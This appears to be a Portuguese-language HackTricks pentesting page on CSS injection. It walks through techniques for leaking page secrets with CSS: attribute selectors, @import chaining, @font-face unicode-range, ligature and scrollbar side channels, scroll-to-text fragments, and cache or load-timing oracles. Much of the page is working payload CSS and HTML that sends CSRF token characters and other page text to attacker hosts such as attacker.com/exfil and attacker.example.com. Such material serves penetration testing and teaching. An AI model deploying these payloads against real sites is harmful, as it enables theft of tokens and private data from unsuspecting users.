hacktricks/pentesting-web/xs-search/css-injection/README.md

27 KiB
Raw Blame History

Injeção de CSS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injeção de CSS

Seletor de Atributos

A técnica principal para exfiltrar informações por meio de Injeção de CSS é tentar corresponder a um texto com CSS e, caso esse texto exista, carregar algum recurso externo, como:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

No entanto, observe que essa técnica não funcionará se, no exemplo, a entrada do nome csrf for do tipo hidden (e geralmente são), porque o plano de fundo não será carregado.
No entanto, você pode burlar esse impedimento, em vez de fazer com que o elemento oculto carregue um plano de fundo, faça com que qualquer coisa após ele carregue o plano de fundo:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Alguns exemplos de código para explorar isso: https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

Pré-requisitos

  1. A injeção de CSS precisa permitir payloads suficientemente longos
  2. Capacidade de enquadrar a página para acionar a reavaliação do CSS dos payloads recém-gerados
  3. Capacidade de usar imagens hospedadas externamente (pode ser bloqueado por CSP)

@import

A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de enviar vários links para a vítima, ou precisa ser capaz de enquadrar a página vulnerável à injeção de CSS.

No entanto, existe outra técnica inteligente que usa @import do CSS para melhorar a qualidade da técnica.

Isso foi mostrado pela primeira vez por Pepe Vila e funciona assim:

Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes a cada vez (como na técnica anterior), vamos carregar a página apenas uma vez e apenas com uma importação para o servidor do atacante (este é o payload a ser enviado para a vítima):

@import url('//attacker.com:5001/start?');
  1. A importação vai receber um script CSS dos atacantes e o navegador irá carregá-lo.
  2. A primeira parte do script CSS que o atacante enviará é outro @import para o servidor dos atacantes novamente.
  3. O servidor dos atacantes não responderá a essa solicitação ainda, pois queremos vazar alguns caracteres e depois responder a essa importação com a carga útil para vazar os próximos.
  4. A segunda e maior parte da carga útil será um vazamento de seletor de atributo.
  5. Isso enviará para o servidor dos atacantes o primeiro caractere do segredo e o último.
  6. Assim que o servidor dos atacantes receber o primeiro e último caractere do segredo, ele responderá à importação solicitada no passo 2.
  7. A resposta será exatamente a mesma dos passos 2, 3 e 4, mas desta vez tentará encontrar o segundo caractere do segredo e depois o penúltimo.

O atacante seguirá esse loop até conseguir vazar completamente o segredo.

Você pode encontrar o código original de Pepe Vila para explorar isso aqui ou você pode encontrar quase o mesmo código, mas comentado aqui.

{% hint style="info" %} O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributo permite fazer coisas como:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Isso permite que o script vaze o segredo mais rapidamente. {% endhint %}

{% hint style="warning" %} Às vezes, o script não detecta corretamente que o prefixo + sufixo descoberto já é a bandeira completa e ele continuará avançando (no prefixo) e retrocedendo (no sufixo) e, em algum momento, ele ficará travado.
Não se preocupe, apenas verifique a saída porque você pode ver a bandeira lá. {% endhint %}

Outros seletores

Outras maneiras de acessar partes do DOM com seletores CSS:

  • .class-to-search:nth-child(2): Isso irá procurar o segundo item com a classe "class-to-search" no DOM.
  • Seletor :empty: Usado, por exemplo, neste writeup:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search baseado em erros

Referência: Ataque baseado em CSS: Abusando do unicode-range de @font-face, PoC de XS-Search baseado em erros por @terjanq

Basicamente, a ideia principal é usar uma fonte personalizada de um endpoint controlado por nós em um texto que será exibido apenas se o recurso não puder ser carregado.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

Estilizando Fragmento de Rolagem-para-Texto

Quando um fragmento de URL direciona para um elemento, a pseudo-classe :target pode ser usada para selecioná-lo, mas ::target-text não corresponde a nada. Ele só corresponde ao texto que é direcionado pelo [fragmento].

Portanto, um atacante poderia usar o fragmento de Rolagem-para-Texto e se algo for encontrado com esse texto, podemos carregar um recurso (por meio de injeção de HTML) do servidor do atacante para indicá-lo:

:target::before { content : url(target.png) }

Um exemplo desse ataque poderia ser:

{% code overflow="wrap" %}

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

{% endcode %}

O que está sendo abusado é uma injeção HTML enviando o código:

{% code overflow="wrap" %}

<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>

{% endcode %}

com o fragmento scroll-to-text: #:~:text=Administrador

Se a palavra Administrador for encontrada, o recurso indicado será carregado.

Existem três principais mitigadores:

  1. STTF só pode corresponder a palavras ou frases em uma página da web, teoricamente tornando impossível vazar segredos ou tokens aleatórios (a menos que dividamos o segredo em parágrafos de uma letra).
  2. É restrito a contextos de navegação de alto nível, portanto, não funcionará em um iframe, tornando o ataque visível para a vítima.
  3. É necessário um gesto de ativação do usuário para que o STTF funcione, portanto, apenas navegações que são resultado de ações do usuário são exploráveis, o que diminui muito a possibilidade de automatizar o ataque sem interação do usuário. No entanto, existem certas condições que o autor da postagem do blog acima descobriu que facilitam a automação do ataque. Outro caso semelhante será apresentado em PoC#3.
  4. Existem algumas burlas para isso, como engenharia social, ou forçar extensões comuns do navegador a interagir.

Para mais informações, consulte o relatório original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Você pode verificar um exploit usando essa técnica para um CTF aqui.

@font-face / unicode-range

Você pode especificar fontes externas para valores unicode específicos que só serão coletados se esses valores unicode estiverem presentes na página. Por exemplo:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de informações sensíveis contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".

Exfiltração de nó de texto (I): ligaduras

Referência: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

Podemos extrair o texto contido em um nó com uma técnica que combina ligaduras de fonte e a detecção de mudanças de largura. A ideia principal por trás dessa técnica é a criação de fontes que contenham uma ligadura predefinida com tamanho grande e o uso de mudanças de tamanho como oráculo.

As fontes podem ser criadas como fontes SVG e depois convertidas para woff com o fontforge. No SVG, podemos definir a largura de um glifo por meio do atributo horiz-adv-x, então podemos construir algo como <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, sendo XY uma sequência de dois caracteres. Se a sequência existir, ela será renderizada e o tamanho do texto mudará. Mas... como podemos detectar essas mudanças?

Quando o atributo white-space é definido como nowrap, ele força o texto a não quebrar quando excede a largura do pai. Nessa situação, uma barra de rolagem horizontal aparecerá. E podemos definir o estilo dessa barra de rolagem, então podemos vazar quando isso acontecer :).

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }

Neste ponto, o ataque está claro:

  1. Criar fontes para a combinação de dois caracteres com largura enorme
  2. Detectar o vazamento através do truque da barra de rolagem
  3. Usando a primeira ligadura vazada como base, criar novas combinações de 3 caracteres (adicionando caracteres antes / depois)
  4. Detectar a ligadura de 3 caracteres.
  5. Repetir até vazar todo o texto

Ainda precisamos de um método aprimorado para iniciar a iteração, porque <meta refresh=... é subótimo. Você pode usar o truque do CSS @import para otimizar a exploração.

Exfiltração de nó de texto (II): vazando o conjunto de caracteres com uma fonte padrão (sem a necessidade de ativos externos)

Referência: PoC usando Comic Sans por @Cgvwzq & @Terjanq

Este truque foi lançado neste tópico do Slackers. O conjunto de caracteres usado em um nó de texto pode ser vazado usando as fontes padrão instaladas no navegador: não são necessárias fontes externas ou personalizadas.

A chave é usar uma animação para aumentar a largura da div de 0 até o final do texto, o tamanho de um caractere a cada vez. Fazendo isso, podemos "dividir" o texto em duas partes: um "prefixo" (a primeira linha) e um "sufixo", então toda vez que a div aumenta sua largura, um novo caractere se move do "sufixo" para o "prefixo". Algo como:

C
ADB

CA
DB

CAD
B

CADB

Quando um novo caractere vai para a primeira linha, o truque unicode-range é usado para detectar o novo caractere no prefixo. Essa detecção é feita alterando a fonte para Comic Sans, cuja altura é superior, então uma barra de rolagem vertical é acionada (vazando o valor do caractere). Dessa forma, podemos vazar cada caractere diferente uma vez. Podemos detectar se um caractere é repetido, mas não qual caractere é repetido.

{% hint style="info" %} Basicamente, o unicode-range é usado para detectar um caractere, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.
Quando o caractere é encontrado, é atribuída a fonte Comic Sans pré-instalada, que a torna maior e aciona uma barra de rolagem que irá vazar o caractere encontrado. {% endhint %}

Verifique o código extraído do PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* aumentar a largura caractere por caractere, ou seja, adicionar novo caractere ao prefixo */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* canal lateral */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ocultando elementos (não requerendo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste artigo

Este caso é muito semelhante ao anterior, no entanto, neste caso, o objetivo de tornar caracteres específicos maiores do que outros é ocultar algo, como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta de ação) e saber se um caractere específico está presente no texto.

Exfiltração de nó de texto (III): vazando o conjunto de caracteres por meio do tempo de cache (não requerendo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste artigo

Neste caso, poderíamos tentar vazar se um caractere está no texto carregando uma fonte falsa da mesma origem:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Se houver uma correspondência, a fonte será carregada de /static/bootstrap.min.css?q=1. Embora não seja carregada com sucesso, o navegador deve armazená-la em cache, e mesmo que não haja cache, há um mecanismo de 304 não modificado, então a resposta deve ser mais rápida do que outras coisas.

No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag disk-cache-size=1, o que é realmente atencioso.

Exfiltração de nó de texto (III): vazando o conjunto de caracteres através da medição do tempo de carregamento de centenas de "fontes" locais (não requer ativos externos)

Referência: Isso é mencionado como uma solução mal sucedida neste artigo

Nesse caso, você pode indicar ao CSS para carregar centenas de fontes falsas da mesma origem quando ocorrer uma correspondência. Dessa forma, você pode medir o tempo que leva e descobrir se um caractere aparece ou não com algo como:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

E o código do bot se parece com isso:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Assumindo que a fonte não corresponda, o tempo para obter a resposta ao visitar o bot deve ser de cerca de 30 segundos. Se houver correspondência, uma série de solicitações será enviada para obter a fonte, e a rede sempre terá algo, então levará mais tempo para atender à condição de parada e obter a resposta. Portanto, o tempo de resposta pode indicar se há uma correspondência.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥